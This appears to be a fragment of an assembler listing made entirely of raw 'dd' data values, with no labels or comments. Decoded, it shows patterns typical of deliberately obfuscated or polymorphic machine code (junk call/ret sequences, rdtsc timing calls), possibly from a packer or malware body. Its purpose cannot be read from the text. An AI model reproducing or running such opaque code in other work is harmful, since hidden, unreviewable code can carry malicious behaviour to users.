		dd 44810424h, 1C0424h, 53430000h, 0CFD3B4C3h, 8794328Fh
		dd 9D89A372h, 61D2B35h,	8915C380h, 0FB8B2050h, 0B678858Dh
		dd 6A0620h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
		dd 55450000h, 0F8CA4CC3h, 8923C7ECh, 0B886h, 0BE900h, 78910000h
		dd 4A2930ABh, 0BF506CE5h, 0E9006AB8h, 0Dh, 35A223BDh, 0B5844E50h
		dd 0CBBF1954h, 62B5FF75h, 890620A3h, 1D0541B5h,	6995FF06h
		dd 6A061D15h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 16042444h, 46000000h, 3267C356h, 7E93Ch, 0BD20000h
		dd 0D432CF40h, 0DBD897Eh, 96061D2Dh, 16890Fh, 0E8500000h
		dd 0Eh,	0D1C59572h, 401E43B6h, 1D602458h, 5B5F4E2Dh, 58F0F50h
		dd 57000000h, 5BFB8B66h, 6ABF6696h, 0B5FFF8F4h,	620A362h
		dd 143DB589h, 95FF061Dh, 61D1A95h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Dh, 2BC35242h, 3BF5FD43h, 7080F5A0h
		dd 0DFBF0FBFh, 4D99D8Bh, 0BD83061Dh, 61D2C71h, 3C840F00h
		dd 66000000h, 460DF81h,	24348950h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 14h, 0C6C35646h,	5E8h, 0FEA60C00h
		dd 860F17E6h, 6, 1611BD8Bh, 0FF5F061Dh,	20A362B5h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1904h
		dd 0C3524200h, 1EFD6233h, 6660A61Ah, 61D145BAh,	0DABF0F60h
		dd 61C38B66h, 9AD95FFh,	6A061Dh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 190424h, 53430000h, 354EC3C3h, 8B802614h
		dd 1D25F59Dh, 0B5FFF506h, 620A362h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 18h, 0A3C35747h,	76F71B15h, 2A7195FFh
		dd 6A061Dh, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h
		dd 50400000h, 5F56A9C3h, 3EDBD83h, 0F02061Dh, 4084h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1A04h, 0C3534300h
		dd 9EA873F2h, 0F83EA6Dh, 183h, 858BFC00h, 61D2F49h, 11ADBD89h
		dd 0C6061Dh, 28A0F00h, 0B3000000h, 0D585C769h, 61D00h
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 14042444h, 43000000h, 0E909C353h, 0FFFFF465h, 29899D89h
		dd 0C18B061Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Ch,	84C35747h, 0CAF71FE7h, 33BDF8B1h, 269D9D2Bh, 858D061Dh
		dd 61D0421h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 19h,	5AC35747h, 39975704h, 0C98D897Dh, 66061D04h, 1D0E781h
		dd 52505150h, 0FDE8B66h, 5F585A31h, 8B240489h, 6A006ADAh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 16042444h
		dd 43000000h, 0FC63C353h, 11C781BEh, 6A7B62C8h,	53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1604h, 0C3534300h
		dd 8BD3D0A7h, 1D136D9Dh, 7C858D06h, 0BF062171h,	3BA27AE2h
		dd 6A05C083h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1C042444h, 46000000h, 0A5D8C356h, 0D96CBC6Ah, 295CD0AAh
		dd 1D16818Dh, 0DE99006h, 0E8000000h, 0EE720825h, 4874610h
		dd 82BC40A2h, 0CE850h, 1D4D0000h, 0F913CC38h, 43360E4Bh
		dd 5250169Eh, 810Fh, 310F0000h,	585A6160h, 6A905Bh, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 43F0B2C3h, 81BB870h,	6A5F5118h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1904h,	0C3504000h, 0AEE932E2h
		dd 8D0938A6h, 61D2789h,	6A006Ah, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 170424h, 56460000h, 24DC85C3h, 0A9BD89F4h
		dd 0FF061D14h, 1D2A3995h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 8DFC1679h
		dd 2095358Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1B04h, 0C3514100h, 6429B214h, 0DC8BEFFBh, 6AD1FFh, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
		dd 698791C3h, 2E5BCFDFh, 53954091h, 97BE9CBFh, 0BD835B02h
		dd 61D31C1h, 0A9850F01h, 6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 0C8D1C355h
		dd 50369DA8h, 2C89BD8Bh, 26A061Dh, 1BD8960h, 60061D22h
		dd 6E9h, 38C29300h, 61E419EBh, 12E95061h, 43000000h, 1310414Fh
		dd 0C2886CBDh, 3C3924CFh, 6E221B9Ah, 24048912h,	0DF10F781h
		dd 95FF68D2h, 61D1569h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 16h, 17C35343h, 8C0F754Fh,	6, 78DBD09h, 10E8061Dh
		dd 8B000000h, 9B3FC7F8h, 1B200387h, 0D17C6D10h,	66A828AFh
		dd 5F59E1BFh, 0F06E9h, 0E800h, 815D0000h, 217186EDh, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1404h, 0C3514100h
		dd 8B665745h, 6A5FDAh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 170424h, 56460000h, 0C8575FC3h, 1D9D897Eh, 8D061D07h
		dd 208D2285h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1404h, 0C3554500h, 8E89037h,	95000000h, 402654DCh, 0E8545810h
		dd 5, 0C9DCEDAh, 5F61608Dh, 42B3505Bh, 52006A90h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h
		dd 35FF642Fh, 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 1DC35040h
		dd 0D98B662Eh, 2EBD9D89h, 8964061Dh, 25h, 51006A00h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h
		dd 566CFCF9h, 0CE2CBF66h, 0C185FF5Fh, 6A061D1Bh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
		dd 56C4C350h, 6AFF6AE5h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 19042444h, 42000000h, 5898C352h, 0CA6533CCh
		dd 0C399D89h, 0B5FF061Dh, 61D2929h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 19h, 12C35040h, 7CF8BAFEh, 0D595FF32h
		dd 0E9061D2Ch, 127h, 2005BD8Bh,	0B0061Dh, 7E9h,	0DFBD200h
		dd 22137FE0h, 39BF70E6h, 0E4259A43h, 13E971h, 0BBB20000h
		dd 0B44E4084h, 0D957A6A7h, 90D2B973h, 0E5FE170Dh, 0F613C98h
		dd 0EA83h, 29BD0900h, 0F061D30h, 9D8BC8B6h, 61D2565h, 6E957h
		dd 0A48A0000h, 0CC6CE185h, 6BA5Fh, 0DFBF0000h, 8B645BAFh
		dd 419589C1h, 0C1061D25h, 6E904E8h, 0E5000000h,	0ED8A5031h
		dd 0DD95890Fh, 66061D03h, 840FE2F7h, 0Ch, 68E0Fh, 9D890000h
		dd 61D1855h, 13FD9D8Bh,	0C82B061Dh, 5840Fh, 0B8BF0000h
		dd 8B605638h, 0D78166D1h, 6E982CDh, 29000000h, 1D2ABD95h
		dd 0B9858B06h, 81061D1Ah, 203EE0DFh, 0EADB805Dh, 0B707C083h
		dd 0C083F2h, 0D03B78B7h, 0B830Fh, 0BD8B0000h, 61D031Dh
		dd 42E9h, 558D8B00h, 23061D19h,	1D2F159Dh, 1E18306h, 2D840Fh
		dd 9D8B0000h, 61D2CE1h,	1955A583h, 0F5FE061Dh, 1AB99589h
		dd 0F60061Dh, 68Fh, 19858900h, 31061D30h, 1D2A8595h, 0E96106h
		dd 8D000000h, 20EBC9B5h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1A04h, 0C3524200h, 18A06806h, 6A9CB46Dh
		dd 0EE800h, 30740000h, 855732F8h, 0DBB8B0B2h, 3F9C1FC6h
		dd 0FF5F6CB3h, 1D120995h, 79958906h, 0B9061D13h, 8FBh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 80C35141h
		dd 8BE317D8h, 0B70F5340h, 0E1835FDBh, 2F09BFFCh, 6AFC3E64h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 19042444h
		dd 45000000h, 0CF9DC355h, 4390C8A9h, 0B4DF8166h, 66C02B7Ch
		dd 0D22BF88Bh, 0D1C233ADh, 83D003E8h, 0F47504E9h, 29599D8Bh
		dd 9D8B061Dh, 61D1261h,	880Dh, 8BD98B00h, 1D20D195h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1404h, 0C3504000h
		dd 1D8D8B1Fh, 57061D33h, 675B531h, 505F061Dh, 188BC28Bh
		dd 188BC103h, 0E8D1C18Bh, 188BC203h, 0BF0F6058h, 0C8B70FC8h
		dd 53006A61h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1704h
		dd 0C3534300h, 5ED61E61h, 120D8589h, 0BD83061Dh, 61D3131h
		dd 8B840F00h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 0B876C352h,	0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 0D2C35040h
		dd 8BDAF888h, 1D18DD9Dh, 0ADD38106h, 8D2B31B9h,	1D4C898Dh
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1804h
		dd 0C3564600h, 5E4D9E88h, 259D8BC1h, 0FF061D04h, 6870FE1h
		dd 89000000h, 1D21C99Dh, 0F7816606h, 0BD83E1C1h, 61D2BF9h
		dd 60840F00h, 6A000005h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1D042444h, 40000000h, 0A038C350h,	0F68D9E48h
		dd 0E825083Eh, 89F98B66h, 1D11AD85h, 0F9BD8306h, 1061D2Bh
		dd 540840Fh, 9D330000h,	61D1C75h, 2801B589h, 0BD83061Dh
		dd 61D2BF9h, 0F1860F03h, 6A000004h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 0D8BEC351h
		dd 0FEE6E775h, 56006A60h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1504h, 0C3564600h, 8C66C5D9h, 0CE960D9h
		dd 41000000h, 6D720188h, 0EFF8E3D6h, 0E8F40CAEh, 0Fh, 1A2960B0h
		dd 2B3EEBD7h, 421E3578h, 89B0A9C7h, 1D185D95h, 80615A06h
		dd 890F04E1h, 17h, 12E9h, 0AAE7E900h, 1F6016DEh, 0F82598F6h
		dd 4AD3C151h, 666EBE77h, 0A2FC3BBh, 96840FC9h, 6A000001h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 19042444h
		dd 41000000h, 0A42CC351h, 45100337h, 25999529h,	10E9061Dh
		dd 49000000h, 168276C7h, 832FA93Ch, 648F1139h, 8B4047D1h
		dd 1D20E185h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1604h, 0C3524200h, 0E998D741h, 9, 43025398h,	0CC61C74Ah
		dd 998533EAh, 6A061D1Bh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 14042444h, 40000000h, 8B2EC350h, 1D0461BDh
		dd 66609006h, 5250F78Bh, 48B6310Fh, 5061585Ah, 0EE9h, 5B35CF00h
		dd 0A8556FBCh, 0EAEC6D80h, 9044828Ch, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ah, 83C35343h, 767FDD78h, 9D8B2F6Ah
		dd 61D1B6Dh, 316DB589h,	6A061Dh, 0E856006Ah, 3,	5EC35E20h
		dd 4247489h, 4244481h, 14h, 16C35646h, 6BC68FCh, 0BF66FA2Eh
		dd 4813C22h, 0F0FD4324h, 0FE805h, 8350000h, 580D03E2h
		dd 8B79822Bh, 0C4107CF6h, 95FF5F1Eh, 61D3145h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 6BC35747h, 4599589h
		dd 8589061Dh, 620A362h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 19h, 0C0C35141h, 92B06C45h, 9D89603Ah, 61D0C1Dh
		dd 38E0Fh, 0B70F0000h, 1EE961FBh, 29000002h, 1D2F19B5h
		dd 5A858B06h, 0F0620A3h, 582h, 2D8BB00h, 816677C6h, 0C7D564C7h
		dd 1800h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1504h, 0C3524200h, 0BD8BAC3Ch, 61D08A9h, 0A35EB58Bh
		dd 6A0620h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h
		dd 57470000h, 60E8ADC3h, 0A56E9FF1h, 8B7DED20h,	1D147D85h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1C04h
		dd 0C3514100h, 0D5D162FFh, 0FB1CBCBh, 89DE8BD7h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1D04h, 0C3564600h
		dd 660DF9FDh, 36C0BAB6h, 9D898C5Dh, 61D11A1h, 20E1858Bh
		dd 6A061Dh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
		dd 53430000h, 0F9EA23C3h, 87DB801Ch, 6A044689h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
		dd 9B55C350h, 89BEE265h, 1D2119BDh, 50DA8B06h, 0DECCBB66h
		dd 8B243489h, 5AB5FFDEh, 6A0620A3h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 0B059C351h
		dd 53AC1D99h, 686FB4F6h, 0BB9B1C86h, 28B0F60h, 57000000h
		dd 481615Ah, 83E77924h,	55006A44h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1504h, 0C3554500h, 0D7804D0Fh, 62858D96h
		dd 6A0620A3h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 19042444h, 47000000h, 374AC357h, 19D413D9h, 15FDBD8Bh
		dd 0B589061Dh, 61D00F1h, 0B880F50h, 0F000000h, 581h, 0D424BF00h
		dd 4890757h, 52006A24h,	3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1604h, 0C3524200h, 0FF71404Dh, 1D314595h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1704h, 0C3554500h
		dd 6B11DDA2h, 8E9h, 44C8DD00h, 0C26DE6E4h, 6A6102h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 0E8FA9EC3h, 13h, 47E32E9h, 0B8BABE2Bh, 584CE165h, 5F20010h
		dd 313ACBFEh, 1D13D9B5h, 8D895F06h, 61D012Dh, 2BF985C7h
		dd 3061Dh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1C0424h, 57470000h, 501B60C3h, 5D9DB974h, 0BD83F3A1h
		dd 620A362h, 29840F00h,	29000000h, 1D1651B5h, 39E906h
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h
		dd 57470000h, 0AF52F4C3h, 110C3050h, 1114400h, 3010E8C1h
		dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h
		dd 443010E8h, 64000211h, 83580311h, 0E77504E9h,	0C1501BEBh
		dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h
		dd 0EBE77504h, 6AC08B00h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1A042444h, 40000000h, 639FC350h, 0F204D75Dh
		dd 8322B341h, 1D2BF9BDh, 850F0306h, 47Fh, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 16h, 0CEC35545h, 6657249Bh
		dd 835BF98Bh, 20A362BDh, 840F0006h, 44Fh, 0B5FF97B7h, 620A362h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 86C35646h
		dd 11E981h, 0BB460000h,	0E83462C8h, 3FB310A1h, 411276D7h
		dd 0FFA6FBFDh, 1D2B0995h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 0A59589AAh
		dd 80061D2Eh, 0B58B2CE7h, 620A356h, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 17h, 0A4C35141h,	0C7C7D3ECh, 1000106h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1904h
		dd 0C3574700h, 2FFF222h, 95292137h, 61D2599h, 605350F9h
		dd 890Fh, 52500000h, 585A310Fh,	34895F61h, 55006A24h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h
		dd 308C602Dh, 8AC60CC0h, 870F3503h, 6, 675BD89h, 0B5FF061Dh
		dd 620A362h, 11E8h, 0EAC32300h,	62DC519h, 0BC65D5B3h, 6564A3F1h
		dd 895287D5h, 1D1B71B5h, 315F5B06h, 1D2ED18Dh, 8195FF06h
		dd 6A061D20h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 16042444h, 47000000h, 0D3DCC357h, 56B58B37h,	6A0620A3h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 18042444h
		dd 42000000h, 161AC352h, 8BA7BD84h, 1D008585h, 8941B306h
		dd 0C486h, 50006A00h, 3E8h, 0C3582000h,	24448958h
		dd 24448104h, 1504h, 0C3504000h, 29526C90h, 1D32F595h
		dd 0F8BB5B06h, 8B499D2Eh, 1D20D195h, 50006A06h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 8E985E0h, 23000000h
		dd 0BF1E8898h, 0B70E1066h, 4C283DBh, 918D8B60h,	61061D1Ah
		dd 81205089h, 0DEEB0DE3h, 78858D36h, 310620B6h,	1D214595h
		dd 299D8B06h, 89061D1Bh, 0B886h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1904h,	0C3534300h, 0E006C88Fh
		dd 8B6678FEh, 38C0FFEh,	0F000000h, 6AFFBFh, 81DB8166h
		dd 62B5FFEBh, 0FF0620A3h, 1D156995h, 52006A06h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 0F83851Eh
		dd 8DCB9769h, 9E95061h,	0B3000000h, 0E660C7E3h,	63DA751h
		dd 6A243489h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 16042444h, 45000000h, 2DFBC355h, 19BD2B6Ch, 0FF061D19h
		dd 20A362B5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1804h, 0C3554500h, 2C914278h, 39BD8BF4h, 0FF061D31h
		dd 1D1A9595h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1704h, 0C3564600h, 0DC7DF2A8h, 2C4D8589h, 0BD83061Dh
		dd 61D2C71h, 3D840F00h,	0E8000000h, 0Bh, 330EBE97h, 0EC5DD68Fh
		dd 5FA416FAh, 0EEA8BB50h, 34897FD1h, 55006A24h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1B04h,	0C3554500h, 426D66F2h
		dd 9F9A8834h, 0A362B5FFh, 6A0620h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 170424h, 51410000h, 0FCE655C3h, 0B99D29D3h
		dd 66061D32h, 0FF5ED4BFh, 1D09AD95h, 51006A06h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 0DE9B5B7h
		dd 9D000000h, 80197F26h, 2F3081B4h, 6B8341E0h, 62B5FFF5h
		dd 6A0620A3h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 15042444h, 43000000h, 0C2CC353h, 0CE8h, 46250600h, 0D0F4F802h
		dd 0C176F426h, 9D85898Ah, 5F061D00h, 2A7195FFh,	8B60061Dh
		dd 1D271DB5h, 0BD836106h, 61D03EDh, 21840F02h, 81000000h
		dd 473B94CBh, 8B66603Eh, 61F88BD7h, 2F49858Bh, 0BD8B061Dh
		dd 61D29B1h, 0BF0000C6h, 24B19735h, 0D585C7h, 61Dh, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 0A7C0D1C3h, 0ECD4F8E2h, 0E98D8323h, 0FFFFF251h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 0BEC35141h, 9DBD8B2Eh
		dd 8B061D08h, 0BDBD23C1h, 8D061D21h, 1D042185h,	53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1804h, 0C3534300h
		dd 6980C482h, 0FB8B6612h, 399BBF50h, 48933DBh, 57006A24h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 0A0C9EB48h, 1FEFCFB3h, 0AE9D50Fh, 1F000000h,	15E92B35h
		dd 9160C899h, 81006AA2h, 0E06A16F7h, 2B006A7Ah,	1D3035BDh
		dd 73858D06h, 0B3062182h, 5C08331h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Bh, 4C35747h, 6178B73Ch, 6671DE9Fh
		dd 5090DE8Bh, 8B900DB3h, 1D12319Dh, 6A006A06h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
		dd 1A69C353h, 50C64297h, 81BD8B89h, 6A061D16h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1404h, 0C3554500h
		dd 8E923h, 25D50000h, 0F6726013h, 95FFB955h, 61D2A39h
		dd 8CC7B7BBh, 358D8D5Ah, 6A062095h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 0E614C355h
		dd 0BD9B4DDDh, 0C1833724h, 282A7ABFh, 6AD1FF2Dh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
		dd 0B348C355h, 4FA8AD7h, 83FB8B66h, 1D31C1BDh, 850F0106h
		dd 77h,	2E75B531h, 0F781061Dh, 6897C8C9h, 6A026Ah, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 47DEAC3h, 0CF593D60h, 60E8ADB5h, 8BDE8B66h, 1D22DD8Dh
		dd 0BB506106h, 243908CAh, 8B240489h, 1D18399Dh,	6995FF06h
		dd 6A061D15h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 16042444h, 47000000h, 2AEEC357h, 7DBD29D0h, 0E9061D03h
		dd 0CC6h, 0E8h,	0ED815D00h, 621827Dh, 1CA59D29h, 8D89061Dh
		dd 61D1471h, 8D22858Dh,	6A0620h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 170424h, 53430000h, 0D7F8FBC3h, 5CBB6679h
		dd 905090CEh, 2659D8Bh,	0FF64061Dh, 35h, 3AD78100h, 64007E86h
		dd 2589h, 0BD890000h, 61D0675h,	1BC185FFh, 0AE9061Dh, 0BB000000h
		dd 0EB34A301h, 0FF56CE85h, 0EB816686h, 0FF6AF075h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 95C35242h, 0C1B5FFDEh
		dd 29061D16h, 1D0781B5h, 0D595FF06h, 0E9061D2Ch, 0E0h
		dd 0B0D8BF0Fh, 0A1BD2B00h, 0E6061D18h, 0BDBD8970h, 0E4061D13h
		dd 51958971h, 3C061D2Ch, 0BD830F61h, 0F9000000h, 9C8B60Fh
		dd 1D2FD58Dh, 6BA06h, 0BF500000h, 56D43286h, 89C18B5Bh
		dd 1D11E98Dh, 4E8C106h,	8BC88B60h, 1D14A19Dh, 0F7666106h
		dd 0F78166E2h, 0C82BBA24h, 308DB531h, 4DB3061Dh, 8D31D18Bh
		dd 61D150Dh, 18A19589h,	6E9061Dh, 8B000000h, 1D2D6D9Dh
		dd 4D858B06h, 0F8061D30h, 0C083F88Bh, 0C3816607h, 0C08390B8h
		dd 89858900h, 9061D18h,	1D21BD8Dh, 0FD03B06h, 0C83h, 0E9FA8B00h
		dd 38h,	0DEBF0F56h, 9D8D8B5Bh, 0F061D33h, 0E183FAB7h, 21840F01h
		dd 8B000000h, 1D0279BDh, 9DA58306h, 0FE061D33h,	2359D8Bh
		dd 9589061Dh, 61D304Dh,	0E9F8BF0Fh, 0
		dd 0F706B58Dh, 61BB0620h, 6A53AD07h, 0F5952900h, 0FF061D20h
		dd 1D120995h, 0D5BD8906h, 0B9061D06h, 989h, 25719D89h
		dd 8166061Dh, 83DB70F7h, 41BFFCE1h, 0FC0ECFEFh,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0A8C35040h, 1D149AA7h
		dd 0B854B9h, 6A000000h,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1A042444h, 40000000h, 0C3FBC350h,	2034BA42h
		dd 0BAA2h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 160424h, 55450000h, 93FC26C3h, 0E0C38153h, 5B5F0258h
		dd 16CB8166h, 0C233AD07h, 0D003E8D1h, 7504E983h, 14E8F4h
		dd 0B7020000h, 42B903EEh, 5F89C888h, 0EE061E51h, 0EB0F955Ch
		dd 850F61D6h, 2, 665F5B50h, 0AC47C781h,	0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 1Ch, 0AAC35343h, 524181C7h
		dd 0B68BB95Ah, 2C75B501h, 8B66061Dh, 880DDEh, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 0DC32C7C3h, 0D1958BEBh, 80061D20h, 8D8B7EC7h, 61D331Dh
		dd 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h,	0BF665818h
		dd 6A1F9Fh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h
		dd 51410000h, 8C81F8C3h, 5C492EE3h, 8B66561Eh, 0BD835FDAh
		dd 61D3131h, 72840F00h,	60000000h, 11E956h, 55470000h
		dd 7E2FAE50h, 6FD73EFFh, 56D3ED06h, 58805EEAh, 612CC580h
		dd 0B8h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1904h, 0C3554500h, 0AAA0CAA4h, 0BB664E81h, 8D8D9FF9h
		dd 61D4C89h, 6AE1FFF5h,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 17042444h, 43000000h, 0C3B5C353h,	0BF0FBF54h
		dd 0F9BD83FFh, 61D2Bh, 49C840Fh, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 190424h, 56460000h, 437879C3h
		dd 8B388238h, 0F9BD83D9h, 1061D2Bh, 487840Fh, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 2DF557C3h, 61939EF6h, 0FC5283E0h, 958B605Fh,	61D20F1h
		dd 0DE960h, 1420000h, 68AE5364h, 9A99D798h, 8978E356h
		dd 1D033D95h, 83616106h, 1D2BF9BDh, 860F0306h, 3FBh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 83C35040h, 462EB6F2h
		dd 0B0BBCA05h, 606D919Ah, 68E0Fh, 8D890000h, 61D17E1h
		dd 6AD98C66h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 19042444h, 45000000h, 0B08FC355h, 0B3CD8BFh,	68F0Fh
		dd 0EF810000h, 58FB655Bh, 2304E180h, 1D1B819Dh,	0FC90A06h
		dd 17184h, 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h
		dd 1804h, 0C3514100h, 0CD82FB8h, 0E99D8BFEh, 81061D17h
		dd 1B3192EFh, 0E1858B00h, 29061D20h, 1D1481BDh,	99853306h
		dd 6A061D1Bh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1A042444h, 47000000h, 35AEC357h, 3C648C74h, 6E89017h
		dd 4A000000h, 1CAF052Dh, 5B5B537Ch, 48D0F50h, 66000000h
		dd 904515BBh, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 1Bh,	46C35242h, 5D582F38h, 0BF4FAF4Eh, 368FCFB9h, 0BD8B006Ah
		dd 61D0BC9h, 4E8h, 1F03FF00h, 8D01BB00h, 0F506AE8h, 285h
		dd 8B5B5300h, 0E9042444h, 11h, 7FB40654h, 2F0C3787h, 687C2E4Ch
		dd 0B045EC6h, 0BF008B42h, 66EC1444h, 4244489h, 596557BFh
		dd 6A5809h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h
		dd 53430000h, 0FFC1BCC3h, 1D314595h, 52006A06h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1904h,	0C3524200h, 0D6223FDh
		dd 85891A61h, 61D20CDh,	0A3628589h, 85890620h, 61D0C01h
